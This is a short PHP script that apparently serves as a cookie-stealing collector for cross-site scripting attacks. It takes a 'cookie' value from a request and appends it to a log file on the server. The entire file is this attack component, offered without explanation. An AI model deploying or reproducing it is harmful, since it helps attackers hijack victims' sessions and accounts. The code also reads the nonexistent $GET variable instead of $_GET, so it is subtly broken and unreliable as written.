<?php
$filename = "logfile.txt";
if (isset($GET["cookie"]))
{
if (!$handle = fopen($filename, 'a'))
{
echo "Error: Unable to write to the log file";
exit;
}
else
{
if (fwrite($handle, "\r\n" . $GET["cookie"]) === FALSE)
{
echo "Error while writing to log file";
exit;
}
}
echo "Successfully wrote a string to the log file";
fclose($handle);
exit;
}
echo "nothing to write to the log file";
exit;
?>